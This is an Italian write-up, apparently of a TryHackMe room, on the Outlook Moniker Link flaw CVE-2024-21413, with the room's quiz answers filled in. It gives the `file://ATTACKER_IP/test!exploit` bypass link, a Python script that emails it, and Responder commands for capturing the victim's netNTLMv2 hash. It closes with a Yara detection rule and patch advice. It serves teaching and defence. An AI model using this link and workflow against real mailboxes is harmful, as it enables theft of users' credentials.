
Exploit didattico per CVE-2024-21413 (Moniker Link) che dimostra RCE di Outlook e perdita di credenziali NTLM tramite collegamenti ipertestuali appositamente creati, con indicazioni di rilevamento e bonifica.
Il 13 febbraio 2024, Microsoft ha annunciato una vulnerabilità di RCE e perdita di credenziali in Microsoft Outlook, a cui è stato assegnato il CVE CVE-2024-21413 (Moniker Link). Haifei Li di Check Point Research è accreditato per la scoperta della vulnerabilità.
La vulnerabilità bypassa i meccanismi di sicurezza di Outlook quando gestisce un tipo specifico di hyperlink noto come Moniker Link. Un utente malintenzionato può abusarne inviando un'email contenente un Moniker Link dannoso a una vittima, con il risultato che Outlook invia le credenziali NTLM dell'utente all'attaccante una volta cliccato l'hyperlink.
I dettagli relativi al punteggio della vulnerabilità sono forniti nella tabella seguente:
CVSS Descrizione Data di pubblicazione 13 febbraio 2024 Articolo MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impatto Esecuzione di codice remoto e perdita di credenziali Gravità Critica Complessità dell'attacco Bassa Punteggio 9.8
È noto che la vulnerabilità colpisce le seguenti versioni di Office:
Versione Versione Microsoft Office LTSC 2021 interessato dalla versione 19.0.0 Microsoft 365 Apps for Enterprise interessato dalla versione 16.0.1 Microsoft Office 2019 interessato dalla versione 16.0.1 Microsoft Office 2016 interessato dalla versione 16.0.0 prima della 16.0.5435.1001
Nota che avrai bisogno sia dell'AttackBox che della macchina vulnerabile associata a questo task. Per distribuire la VM allegata, premi il pulsante verde Start Machine qui sotto.
Username tryhackme Password Kkh3gv439dnq!
Quale valutazione di "Gravità" è stata assegnata al CVE? > RISPOSTA : Critical
Outlook può visualizzare le email come HTML. Potresti notarlo utilizzato dalle tue newsletter preferite. Inoltre, Outlook può analizzare hyperlink come HTTP e HTTPS. Tuttavia, può anche aprire URL che specificano applicazioni note come Moniker Link. Normalmente, Outlook mostrerà un avviso di sicurezza quando vengono attivate applicazioni esterne.

La Vista protetta di Outlook viene attivata quando si avvia un'applicazione esterna
Questo pop-up è il risultato della "Vista protetta" di Outlook. La Vista protetta apre le email contenenti allegati, hyperlink e contenuti simili in modalità di sola lettura, bloccando cose come le macro (specialmente dall'esterno di un'organizzazione).
Utilizzando il Moniker Link file:// nel nostro hyperlink, possiamo istruire Outlook a tentare di accedere a un file, come un file su una condivisione di rete (<a href="file://ATTACKER_IP/test">Click me</a>). Viene utilizzato il protocollo SMB, che prevede l'uso delle credenziali locali per l'autenticazione. Tuttavia, la "Vista protetta" di Outlook intercetta e blocca questo tentativo.
La vulnerabilità qui esiste modificando il nostro hyperlink per includere il carattere speciale ! e un po' di testo nel nostro Moniker Link, il che bypassa la Vista protetta di Outlook. Ad esempio: <a href="file://ATTACKER_IP/test!exploit">Clicca qui</a>.
Noi, come attaccanti, possiamo fornire un Moniker Link di questo tipo per l'attacco. Nota che la condivisione non deve esistere sul dispositivo remoto, poiché un tentativo di autenticazione verrà comunque effettuato, portando all'invio dell'hash netNTLMv2 di Windows della vittima all'attaccante.
L'esecuzione di codice remoto (RCE) è possibile perché i Moniker Link utilizzano il Component Object Model (COM) su Windows. Tuttavia, spiegare questo è attualmente fuori dallo scopo di questa room, poiché non esiste un proof of concept rilasciato pubblicamente per ottenere RCE tramite questo specifico CVE.
Quale tipo di Moniker Link utilizziamo nell'hyperlink? > RISPOSTA : file:// Qual è il carattere speciale utilizzato per bypassare la "Vista protetta" di Outlook? > RISPOSTA : !
Per questo attacco, invieremo alla nostra vittima un'email con un Moniker Link simile a quello fornito nel task precedente. L'obiettivo, come attaccante, è creare un'email per la vittima con un Moniker Link che bypassi la "Vista protetta" di Outlook, in modo che il client della vittima tenti di caricare un file dalla nostra macchina attaccante, portando alla cattura dell'hash netNTLMv2 della vittima.
Ma prima, esaminiamo un PoC che ho creato (disponibile anche su GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Il PoC:
Usiamo Responder per creare un listener SMB sulla nostra macchina attaccante. Per l'AttackBox di THM, l'interfaccia sarà -I ens5. Il nome dell'interfaccia sarà diverso se stai usando il tuo dispositivo (es. Kali). Se vuoi fare un po' di compiti, può essere usato anche un server Impacket.
Avvio di Responder sul nostro AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Apriamo la macchina vulnerabile premendo il pannello "CVE-2024-21413" nella visualizzazione a schermo diviso.

Apri Outlook cliccando sul collegamento "Outlook" sul desktop. Quando Outlook si è aperto, clicca su "Non voglio accedere o creare un account" nel pop-up.

Ignora il secondo pop-up cliccando sulla "X" in alto a destra del pop-up (potrebbe essere necessario trascinare la finestra un po' a sinistra, a seconda della risoluzione dello schermo).

Al termine, vedrai l'interfaccia di Outlook. Per questa room, la casella di posta della vittima è già stata configurata in Outlook per te.

Torna al tuo AttackBox. Copieremo e incolleremo il PoC sopra sull'AttackBox.
Per questo, creeremo un nuovo file sull'AttackBox. nano exploit.py e utilizziamo il cassetto estraibile nella visualizzazione a schermo diviso. Fai riferimento alla GIF qui sotto per vedere come fare.

Dovremo fare un po' di configurazione iniziale sull'AttackBox prima di eseguire lo script Python:
Una volta fatto, possiamo eseguire l'exploit. Quando viene richiesta la password dell'email dell'attaccante, inserisci "attacker".
Esecuzione di exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Lo script Python stamperà "Email delivered" quando l'email è stata inviata. Se lo script lamenta un errore di autenticazione, assicurati di aver sostituito correttamente i valori in exploit.py. Ora torniamo alla macchina vulnerabile e controlliamo la nuova email:

Clicca sull'hyperlink "Click me" e torna alla sessione del terminale "Responder" sull'AttackBox:

Successo! L'hash netNTLMv2 della vittima è stato catturato sul nostro AttackBox.
Qual è il nome dell'applicazione che usiamo sull'AttackBox per catturare l'hash dell'utente? > RISPOSTA : responder Che tipo di hash viene catturato una volta cliccato l'hyperlink nell'email? > RISPOSTA : netNTLMv2
Una regola Yara è stata creata da Florian Roth per rilevare le email contenenti l'elemento file:\\ nel Moniker Link.
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Inoltre, la richiesta SMB dalla vittima al client può essere vista in una cattura di pacchetti con un hash netNTLMv2 troncato.

Clicca qui per procedere al prossimo task! > RISPOSTA : NO ANSWER
Microsoft ha incluso patch per risolvere questa vulnerabilità nel "patch Tuesday" di febbraio. Puoi vedere un elenco di articoli KB per build di Office qui. Si consiglia vivamente di aggiornare Office tramite Windows Update o il Microsoft Update Catalog.
Inoltre, nel frattempo, è un promemoria tempestivo per praticare misure generali di sicurezza informatica - sicure. Ad esempio, ricordare agli utenti di:
Poiché questa vulnerabilità bypassa la Vista protetta di Outlook, non c'è modo di riconfigurare Outlook per prevenire questo attacco. Inoltre, impedire completamente il protocollo SMB potrebbe fare più male che bene, specialmente perché è essenziale per accedere alle condivisioni di rete. Tuttavia, potresti essere in grado di bloccarlo a livello di firewall, a seconda dell'organizzazione.
Clicca qui per procedere al prossimo task. > RISPOSTA : NO ANSWER